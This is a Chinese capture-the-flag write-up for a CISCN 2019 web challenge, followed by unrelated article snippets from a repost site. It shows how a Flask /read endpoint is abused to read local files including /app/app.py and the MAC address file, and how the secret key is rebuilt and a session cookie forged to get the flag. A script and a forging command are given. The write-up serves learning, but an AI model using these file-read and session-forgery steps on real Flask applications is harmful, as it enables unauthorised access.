buuctf_练[CISCN2019 华东南赛区]Web4

news2024/10/6 8:29:54

[CISCN2019 华东南赛区]Web4

文章目录

      • [CISCN2019 华东南赛区]Web4
      • 掌握知识
      • 解题思路
        • 代码分析
        • 正式解题
      • 关键paylaod

在这里插入图片描述

掌握知识

​ 根据url地址传参结构来判断php后端还是python后端;uuid.getnode()函数的了解,可以返回主机MAC地址十六进制;python网站源码多半处于/app.app.py;代码审计,session欺骗,session的加解密

解题思路

  1. 打开题目链接,发现有一个超链接可以点击,点击之后发现实现了跳转,来到了百度界面,看url地址发现是远程文件包含的可能,但懒得开服务器测试了,试一试是否可以本地文件包含。包含/etc/passwd成功回显内容,确认可疑文件包含。尝试包含/flag文件直接显示黑客

image-20231026102205746

image-20231026102201585

image-20231026102212600

  1. 尝试查看网站源码,一开始还以为依旧是php的后端,查看/var/www/html/index.php发现页面返回无响应,想着去看一看url给出的文件名,发现只有read并没有后缀,了解了一下,发现这是写路由形式,是python后端的标志。记住一个知识点url/read?id=xxxx这种在url和参数中间又会有一段字符串的,可以考虑是写了路由,不是php后端,可能是python后端

  2. 那就去读取一下python网站的默认源码文件,/app/app.py成功回显源码内容,简单看了一下,感觉是session欺骗的题目,又生成了session私钥,又给了session字段信息,获得flag还需要修改其中的字段信息,很明显的session欺骗考察的逻辑

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )
代码分析
  1. 又是老朋友随机数了,根据随机数种子生成随机数,由于伪随机数漏洞,只要确保随机数种子一样,版本一样,次序一样,使用相同的随机数生成代码就能生成同样的随机数,所以这里关键的就是uuid.getnode()函数的返回值了。搜索了一下发现函数返回结果为MAC地址的十六进制形式,那也很好办,之前学习ssti计算PIN码也就遇到读取MAC文件,继续文件包含读取MAC地址/sys/class/net/eth0/address。根据源码的文件头注释猜测是python2的可能性大一点,因为去在线网站查看了一下相应的头部信息。
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

image-20231026103041174

image-20231026103653100

image-20231026103149456

  1. /read路劲现在已经没什么用处了,这里过滤了flag也就不能直接文件包含读取flag.txt了。/路径是给session字段赋值用户信息的
@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'
  1. 其实/flag字段也很好理解,就是要修改session字段的用户为fuck,只需要抓取/flag的请求包,将其的session字段使用加解密脚本和私钥进行加解密,修改好用户信息之后将新的session字段替换一下,发送包即可得到flag。这道题关键也就在确定python后端,读取/app/app.py的网站源码信息
@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'
正式解题
  1. 整体分析结束,其实还可以,后面也就是简单的session欺骗过程了。开始抓包获得/flag界面的session字段,其实session也都一样,为了直接替换的flag方便。直接使用加解密脚本进行对session伪造的操作。由于加密脚本使用命令行会报错,所以就使用pycharm自带的功能,可以传递形参来替换命令行执行的方式,得到加密的session字段

image-20231026104231637

image-20231026104727446

image-20231026104731614

image-20231026104734984

  1. 替换原来的session字段,发送包成功拿下flag

image-20231026104913708

关键paylaod

python网站源码   /app/app.py

MAC地址文件路径  /sys/class/net/eth0/address

session解密脚本传参   encode -s 82.684855651 -t "{'username':'fuck'}"

私钥生成脚本
import random

mac="6ed1b6c952d6"
random.seed(int(mac,16))
key = str(random.random() * 233)
print key

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1136659.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue进阶(幺陆捌)项目部署后IE报 SCRIPT1002:语法错误 解决方案探讨

文章目录 一、前言二、组件懒加载2.1 什么是懒加载2.2 如何实现懒加载 三、延伸阅读 软件程序唤醒3.1 protocolCheck 实现3.2 自定义实现 四、拓展阅读 一、前言 Vue项目改造升级后&#xff0c;原本本地热部署后IE可正常打开的项目出现页面白屏且控制台给出SCRIPT1002:语法错误…

ssh连接远程服务器,并在终端安装anaconda

官网下载安装&#xff1a;anaconda2023.09版本&#xff08;官网地址&#xff1a;https://www.anaconda.com/download#downloads&#xff09; wget https://repo.anaconda.com/archive/Anaconda3-2023.09-0-Linux-x86_64.sh使用阿里云镜像下载安装&#xff0c;官网下载太慢。阿…

【ModbusTCP协议】

ModbusTCP协议 一、搭建一个ModbusTCP环境二、ModbusTCP通信协议报文格式ModbusTCP的特点 一、搭建一个ModbusTCP环境 搭建一个ModbusTCP环境 1、使用ModbusSlave 2、可以用西门子PLC来做 使用西门子搭建ModbusTCP环境&#xff0c;就需要先搭建一个西门子PLC仿真环境 下载软件P…

ES6新特性:let关键字详解

文章目录 1 声明提升2 作用域3 重复声明 在JavaScript中&#xff0c;let 和 var 都是声明变量的关键字&#xff0c;但在用法和作用域方面有一些区别。 let 是ES6引入的新的声明变量的关键字&#xff0c;它与 var 相比&#xff0c;更加严格&#xff0c;语法更加规范&#xff0c…

如何租用香港写字楼,需要注意哪些事项

1. 确定您的所需 你需要多少空间 在一切开始之前&#xff0c;您需要确切地知道您的业务(即您、您现有的员工和预计的招聘、您的访客或客户以及您想要的设施如食品储藏室、接待处、服务器机房甚至健身房&#xff0c;婴儿护理室等)&#xff0c;以实用面积计算需要多少空间。空间…

「滚雪球学Java」:数组(章节汇总)

&#x1f3c6;本文收录于「滚雪球学Java」专栏&#xff0c;专业攻坚指数级提升&#xff0c;助你一臂之力&#xff0c;带你早日登顶&#x1f680;&#xff0c;欢迎大家关注&&收藏&#xff01;持续更新中&#xff0c;up&#xff01;up&#xff01;up&#xff01;&#xf…

文化融合:TikTok如何弥合跨文化差异

随着全球化的加速和数字媒体的崛起&#xff0c;社交媒体平台已经成为连接世界各地人们的纽带。其中&#xff0c;TikTok作为一个引领者&#xff0c;正在以惊人的速度消除跨文化差异&#xff0c;促进文化融合&#xff0c;使人们更加了解和尊重不同背景和传统。 本文将深入探讨Ti…

后端实现大文件分片上传

项目框架 net6 webapi 放开上传大小限制 放开代码 | 框架层限制 在 Program.cs 文件中添加如下代码 不然会出现下面的限制错误 From表单限制&#xff1a;Failed to read the request form. Multipart body length limit 134217728 exceeded 请求体超长&#xff1a;Request bo…

深入探究ASEMI肖特基二极管MBR60100PT的材质

编辑-Z 在电子零件领域中&#xff0c;肖特基二极管MBR60100PT因其出色的性能和广泛的应用而显得尤为关键。理解其材质不仅有助于我们深入理解其运作原理&#xff0c;也有助于我们做出更合适的电子设计。那么&#xff0c;肖特基二极管MBR60100PT是什么材质呢? 首先&#xff0c…

java版直播商城平台规划及常见的营销模式有哪些?电商源码/小程序/三级分销/手机商城免费搭建

涉及平台 平台管理、商家端&#xff08;PC端、手机端&#xff09;、买家平台&#xff08;H5/公众号、小程序、APP端&#xff08;IOS/Android&#xff09;、微服务平台&#xff08;业务服务&#xff09; 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis …

Visual C++编程初学者疑难问题大集合(一)

初学者在学习visual c时问题很多&#xff0c;有意思的是&#xff0c;很多问题教材上都不说&#xff0c;后台有不少小伙伴问我相关问题&#xff0c;我于是总结一下。以供学习visual c的小伙伴少走弯路。 问题一&#xff1a;怎么样快速运行一个程序&#xff1f; 鼠标双击Visual…

我的课程居然上热门了

记录一下&#xff0c;我的课程上热门了&#xff0c;排名第三&#xff0c;非常的开心

了解WebGL三维技术

文章目录 什么是WebGLWebGLOpenGL 什么是WebGL WebGL WebGL是一项结合了HTML5和JavaScript&#xff0c;用来在网页上绘制和渲染复杂三维图形的技术。WebGL通过JavaScript操作OpenGL接口的标准&#xff0c;把三维空间图像显示在二维的屏幕上。所以它的本质就是JavaScript操作O…

Leetcode—2520.统计能整除数字的位数【简单】

2023每日刷题&#xff08;十&#xff09; Leetcode—2520.统计能整除数字的位数 实现代码 int countDigits(int num){int ans 0;int val 0;int tmp num;while(tmp) {val tmp % 10;if(num % val 0) {ans;}tmp / 10;}return ans; } 运行结果 之后我会持续更新&#xff0c;…

安装虚拟机找不到虚拟网啦1(eth1)不出现

一、安装虚拟机找不到虚拟网啦1&#xff08;eth1&#xff09;不出现 1、先安装virtualbox 2、再安装vagrant 3、在windows使用ipconfig没有VirtualBoxHost-OnlyNetWork解决方法 1) 解决办法 在windows的设置中找到 网络和Internet 选项&#xff0c;选择右侧 更改适配器选项 …

「滚雪球学Java」:方法函数(章节汇总)

&#x1f3c6;本文收录于「滚雪球学Java」专栏&#xff0c;专业攻坚指数级提升&#xff0c;助你一臂之力&#xff0c;带你早日登顶&#x1f680;&#xff0c;欢迎大家关注&&收藏&#xff01;持续更新中&#xff0c;up&#xff01;up&#xff01;up&#xff01;&#xf…

批量手机号码归属地查询工具

在日常工作生活中&#xff0c;手机号码归属地的查询需求越来越普遍。 这款查询软件&#xff0c;具有高效、便捷、隐私保护等诸多优势&#xff0c;让您轻松解决手机号码归属地查询问题。 可以快速批量查询手机号码归属地&#xff0c;为您节省宝贵的时间和精力。 无需联网即可…

IP地址规划的基本方法

IP地址规划是构建和管理网络的关键步骤&#xff0c;它涉及到为网络中的设备分配合适的IP地址&#xff0c;以确保网络的高效性、安全性和可管理性。在本文中&#xff0c;我们将探讨IP地址规划的基本方法&#xff0c;以帮助网络管理员和工程师更好地设计和维护网络。 1. 理解IP地…

提升技能,一触即达!全新在线题库微信小程序等你来挑战!

亲爱的同学们&#xff0c;你是否在准备各种专业认证考试时&#xff0c;感到题目繁多&#xff0c;复习困难&#xff1f;你是否在寻找一个能够提供全方位、各级别认证考试题库的在线学习平台&#xff1f; 今天&#xff0c;我们为你带来了一款全新的在线题库微信小程序——KD蝌蚪阿…

myTracks for Mac:GPS轨迹记录器的强大与便捷

你是否曾经在户外活动或旅行中&#xff0c;希望能够记录下你的移动轨迹&#xff1f;或者在工作中&#xff0c;需要跟踪你的行程路线&#xff1f;myTracks for Mac 是一款强大的 GPS 轨迹记录器&#xff0c;它可以帮助你实现这些愿望。 myTracks 是一款专门为 Mac 设计的 GPS 轨…